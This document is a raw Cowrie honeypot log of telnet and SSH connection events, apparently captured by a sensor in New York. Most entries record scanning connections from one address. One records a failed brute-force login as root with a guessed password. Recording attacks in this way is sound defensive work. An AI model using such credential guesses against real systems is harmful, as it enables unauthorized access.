{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58042,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab307bf944d8","protocol":"telnet","message":"New connection: 24.199.85.165:58042 (10.17.0.5:23) [session: ab307bf944d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:34.561236Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58050,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0cd506fda76","protocol":"telnet","message":"New connection: 24.199.85.165:58050 (10.17.0.5:23) [session: c0cd506fda76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:36.553564Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d70766cdd83","protocol":"telnet","message":"New connection: 24.199.85.165:58064 (10.17.0.5:23) [session: 8d70766cdd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:36.906536Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58074,"dst_ip":"10.17.0.5","dst_port":23,"session":"336573a9e696","protocol":"telnet","message":"New connection: 24.199.85.165:58074 (10.17.0.5:23) [session: 336573a9e696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:37.342360Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58090,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3b28c508df","protocol":"telnet","message":"New connection: 24.199.85.165:58090 (10.17.0.5:23) [session: 9d3b28c508df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:38.788229Z"}
{"eventid":"cowrie.session.closed","duration":36.56408977508545,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:41.379419Z","src_ip":"24.199.85.165","session":"ef208cef1f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42148,"dst_ip":"10.17.0.5","dst_port":23,"session":"da71f6bb3462","protocol":"telnet","message":"New connection: 24.199.85.165:42148 (10.17.0.5:23) [session: da71f6bb3462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:42.699809Z"}
{"eventid":"cowrie.session.closed","duration":40.48938775062561,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:44.773604Z","src_ip":"24.199.85.165","session":"7dd913f74b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42158,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f1a9ed1ceb8","protocol":"telnet","message":"New connection: 24.199.85.165:42158 (10.17.0.5:23) [session: 1f1a9ed1ceb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:45.596568Z"}
{"eventid":"cowrie.session.closed","duration":46.777530670166016,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:46.438080Z","src_ip":"24.199.85.165","session":"00fcd0c2ea8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.417257308959961,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:47.116933Z","src_ip":"24.199.85.165","session":"da71f6bb3462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.40650677680969,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:48.383411Z","src_ip":"24.199.85.165","session":"4dcd3f850394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea13435e643b","protocol":"telnet","message":"New connection: 24.199.85.165:42170 (10.17.0.5:23) [session: ea13435e643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:49.249928Z"}
{"eventid":"cowrie.session.closed","duration":37.69617223739624,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:49.983170Z","src_ip":"24.199.85.165","session":"3bdba24a85de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.887903451919556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:50.709839Z","src_ip":"24.199.85.165","session":"0a64f58b988c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67028832435608,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:51.079401Z","src_ip":"24.199.85.165","session":"ed9d20ac8ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9274b10a4b98","protocol":"telnet","message":"New connection: 24.199.85.165:42176 (10.17.0.5:23) [session: 9274b10a4b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:51.095067Z"}
{"eventid":"cowrie.session.closed","duration":38.66775679588318,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:51.114771Z","src_ip":"24.199.85.165","session":"4fc398554574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42188,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4eacda22e3","protocol":"telnet","message":"New connection: 24.199.85.165:42188 (10.17.0.5:23) [session: 7a4eacda22e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:51.582024Z"}
{"eventid":"cowrie.session.closed","duration":37.46539640426636,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:51.935201Z","src_ip":"24.199.85.165","session":"cfe2fd8fe3c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.91237545013428,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:51.938765Z","src_ip":"24.199.85.165","session":"62d9db13d017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00278329849243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:52.187695Z","src_ip":"24.199.85.165","session":"2ca36f28c802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.36264443397522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:52.845794Z","src_ip":"24.199.85.165","session":"fc32b82381a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b5beadd34f6","protocol":"telnet","message":"New connection: 24.199.85.165:47290 (10.17.0.5:23) [session: 5b5beadd34f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:53.103262Z"}
{"eventid":"cowrie.session.closed","duration":32.29848599433899,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:53.843229Z","src_ip":"24.199.85.165","session":"e1b8c7b352b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47300,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a854e6115f","protocol":"telnet","message":"New connection: 24.199.85.165:47300 (10.17.0.5:23) [session: 08a854e6115f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:54.017864Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47314,"dst_ip":"10.17.0.5","dst_port":23,"session":"99cf5afbc108","protocol":"telnet","message":"New connection: 24.199.85.165:47314 (10.17.0.5:23) [session: 99cf5afbc108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:54.507457Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47324,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dcddc864e15","protocol":"telnet","message":"New connection: 24.199.85.165:47324 (10.17.0.5:23) [session: 2dcddc864e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:54.588910Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47330,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb6b4b2bbca6","protocol":"telnet","message":"New connection: 24.199.85.165:47330 (10.17.0.5:23) [session: cb6b4b2bbca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:54.902353Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47344,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b93b4268590","protocol":"telnet","message":"New connection: 24.199.85.165:47344 (10.17.0.5:23) [session: 1b93b4268590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:56.110552Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"0783eb08f4cc","protocol":"telnet","message":"New connection: 24.199.85.165:47352 (10.17.0.5:23) [session: 0783eb08f4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:56.145785Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47366,"dst_ip":"10.17.0.5","dst_port":23,"session":"f738e78b5b4d","protocol":"telnet","message":"New connection: 24.199.85.165:47366 (10.17.0.5:23) [session: f738e78b5b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:57.364608Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee10071b6f9f","protocol":"telnet","message":"New connection: 24.199.85.165:47380 (10.17.0.5:23) [session: ee10071b6f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:57.529074Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47394,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60bfe40c347","protocol":"telnet","message":"New connection: 24.199.85.165:47394 (10.17.0.5:23) [session: b60bfe40c347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:58.960789Z"}
{"eventid":"cowrie.session.closed","duration":32.84537363052368,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:59.632071Z","src_ip":"24.199.85.165","session":"5b031f0621d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47396,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac980233e08","protocol":"telnet","message":"New connection: 24.199.85.165:47396 (10.17.0.5:23) [session: aac980233e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:35:59.732609Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":38379,"dst_ip":"159.203.135.109","dst_port":22,"session":"683ffd06f83e","protocol":"ssh","message":"New connection: 121.122.119.48:38379 (159.203.135.109:22) [session: 683ffd06f83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:00.133278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:00.140780Z","src_ip":"121.122.119.48","session":"683ffd06f83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:00.380835Z","src_ip":"121.122.119.48","session":"683ffd06f83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47400,"dst_ip":"10.17.0.5","dst_port":23,"session":"65afb68ffde2","protocol":"telnet","message":"New connection: 24.199.85.165:47400 (10.17.0.5:23) [session: 65afb68ffde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:00.742833Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe123qwe","message":"login attempt [root/123qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:01.374061Z","src_ip":"121.122.119.48","session":"683ffd06f83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f05139774ba","protocol":"telnet","message":"New connection: 24.199.85.165:47406 (10.17.0.5:23) [session: 6f05139774ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:01.702239Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:02.618728Z","src_ip":"121.122.119.48","session":"683ffd06f83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49265170097351,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:05.239429Z","src_ip":"24.199.85.165","session":"ecadef6d2827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04156255722046,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:06.868185Z","src_ip":"24.199.85.165","session":"f3e5e8ad295c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.65562415122986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:07.981076Z","src_ip":"24.199.85.165","session":"e3cb2e07be9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07965540885925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:08.171228Z","src_ip":"24.199.85.165","session":"cdbe88af572c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.26467823982239,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:08.434436Z","src_ip":"24.199.85.165","session":"b6f9a134199f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.74449372291565,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:11.305624Z","src_ip":"24.199.85.165","session":"ab307bf944d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.162062644958496,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:13.504299Z","src_ip":"24.199.85.165","session":"336573a9e696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.952911138534546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:17.859359Z","src_ip":"24.199.85.165","session":"8d70766cdd83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39046,"dst_ip":"10.17.0.5","dst_port":23,"session":"df2ee7f8ad39","protocol":"telnet","message":"New connection: 24.199.85.165:39046 (10.17.0.5:23) [session: df2ee7f8ad39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:19.358389Z"}
{"eventid":"cowrie.session.closed","duration":43.27417850494385,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:19.827632Z","src_ip":"24.199.85.165","session":"c0cd506fda76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38227963447571,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:21.978739Z","src_ip":"24.199.85.165","session":"1f1a9ed1ceb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.28828406333923,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:23.076399Z","src_ip":"24.199.85.165","session":"9d3b28c508df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52291703224182,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:23.772711Z","src_ip":"24.199.85.165","session":"ea13435e643b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.989359617233276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:25.571306Z","src_ip":"24.199.85.165","session":"7a4eacda22e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.489593982696533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:26.391813Z","src_ip":"24.199.85.165","session":"cb6b4b2bbca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.04497933387756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:27.139962Z","src_ip":"24.199.85.165","session":"9274b10a4b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":41508,"dst_ip":"10.17.0.5","dst_port":23,"session":"72a6ba7f86b6","protocol":"telnet","message":"New connection: 24.199.85.165:41508 (10.17.0.5:23) [session: 72a6ba7f86b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:27.765461Z"}
{"eventid":"cowrie.session.closed","duration":33.98783254623413,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:28.576628Z","src_ip":"24.199.85.165","session":"2dcddc864e15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":41510,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c56ee54e8b","protocol":"telnet","message":"New connection: 24.199.85.165:41510 (10.17.0.5:23) [session: b0c56ee54e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:28.888971Z"}
{"eventid":"cowrie.session.closed","duration":35.56715512275696,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:29.584890Z","src_ip":"24.199.85.165","session":"08a854e6115f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02574968338013,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:30.136213Z","src_ip":"24.199.85.165","session":"1b93b4268590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15514540672302,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:30.662479Z","src_ip":"24.199.85.165","session":"99cf5afbc108","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26548361778259,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:30.794428Z","src_ip":"24.199.85.165","session":"ee10071b6f9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.852364540100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:30.813031Z","src_ip":"24.199.85.165","session":"b60bfe40c347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.05940341949463,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:31.162548Z","src_ip":"24.199.85.165","session":"5b5beadd34f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":41514,"dst_ip":"10.17.0.5","dst_port":23,"session":"e830344129a2","protocol":"telnet","message":"New connection: 24.199.85.165:41514 (10.17.0.5:23) [session: e830344129a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:31.583261Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":41516,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5cb012c273","protocol":"telnet","message":"New connection: 24.199.85.165:41516 (10.17.0.5:23) [session: fe5cb012c273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:31.709367Z"}
{"eventid":"cowrie.session.closed","duration":31.01446032524109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:32.716583Z","src_ip":"24.199.85.165","session":"6f05139774ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35803437232971,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:33.090532Z","src_ip":"24.199.85.165","session":"aac980233e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42412,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5714a71549","protocol":"telnet","message":"New connection: 24.199.85.165:42412 (10.17.0.5:23) [session: 4e5714a71549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:34.039120Z"}
{"eventid":"cowrie.session.closed","duration":39.038702964782715,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:35.184363Z","src_ip":"24.199.85.165","session":"0783eb08f4cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.11802077293396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:35.482520Z","src_ip":"24.199.85.165","session":"f738e78b5b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41607117652893,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:36.158771Z","src_ip":"24.199.85.165","session":"65afb68ffde2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42420,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebccc9e734be","protocol":"telnet","message":"New connection: 24.199.85.165:42420 (10.17.0.5:23) [session: ebccc9e734be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:37.221989Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55598,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d6fcf50a18","protocol":"telnet","message":"New connection: 185.26.126.47:55598 (159.203.135.109:23) [session: 26d6fcf50a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:36:37.567649Z"}
